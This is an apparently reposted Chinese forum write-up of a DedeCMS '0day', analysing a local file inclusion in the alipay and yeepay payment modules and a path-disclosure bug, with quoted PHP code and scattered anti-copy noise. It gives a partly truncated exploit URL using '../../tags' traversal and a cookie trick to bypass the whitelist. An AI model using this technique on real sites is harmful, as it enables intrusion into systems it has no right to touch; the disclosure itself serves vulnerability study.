dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
4 \! j5 z7 S8 i% \漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php

: |- Q1 b9 f/ h, y& V  D6 [# J......
   function respond()
3 o. Y. a0 X3 x5 i) c/ L+ @    {
        if (!empty($_POST))
        {
            foreach($_POST as $key => $data)
            {
0 i' d5 S: ~0 e8 \7 O                $_GET[$key] = $data;
            }
/ p! J& z- Q1 l" o& n6 u        }
        /* 引入配置文件 */
8 l) S1 i' X$ C9 S. B        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......

1 w9 F7 D! ~3 m6 |
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

' ?( P9 a. A+ ^2 ]6 B6 lInclude/payment/yeepay.php
- K# y. t* W9 P
  C& A6 I) @! z/ E+ K4 c, k
" f# s+ _8 k4 c: @+ H6 W
( F8 o% I# S9 ~% z......
    function respond()
+ _$ D8 {4 z/ B! Y' ?* `/ y! K    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

* w% E% S9 ]+ N2 K  z$ u        $p1_MerId = trim($payment['yp_account']);
; G5 W% Y' b3 W. `        $merchantKey = trim($payment['yp_key']);
......



9 ?; Z0 A2 u* V- y. o
, R. T( r* @7 Q' H1 S9 r' A& {, h大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
* H( F; b8 f/ F) n- j- I
这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php
  \- i4 O+ b& ^$ `$ n2 m
......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
; `+ {' P3 p/ [- F    {
9 ]; k  V3 R4 @3 ^; A: C& w        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
6 u' D, k6 ~/ n5 R* k8 G' i/ T- Y    } else {
8 }* i; o5 X6 o1 ?        exit('Error:File Type Can\'t Recognized!');
    }
1 U/ j  S/ D; o" S* x3 W}
......
5 o# n- [. C* l& H* e! H7 V




5 l9 C0 r. C0 u* u5 \
+ }/ u) ^* c! i# m' k大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) o; t  O% G+ q( B- R所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。



......
# k+ J$ l8 m6 k! M3 c1 o# A" X, Dforeach(Array('_GET','_POST','_COOKIE') as $_request)
1 K$ b1 d$ E# t% X: Q3 |7 A" q{
        foreach($$_request as $_k => $_v)
        {
+ i1 @5 [2 a: _* i6 L3 o' _. ]                if($_k == 'nvarname') ${$_k} = $_v;
- X' c$ f0 x% v9 w                else ${$_k} = _RunMagicQuotes($_v);
        }
1 Z1 ^1 S1 N! B" [' g! ?& B8 G1 A0 J}
7 D' d6 O2 d; P* x# F......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 d% A  D% w, T: g8 j3 C/ |由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。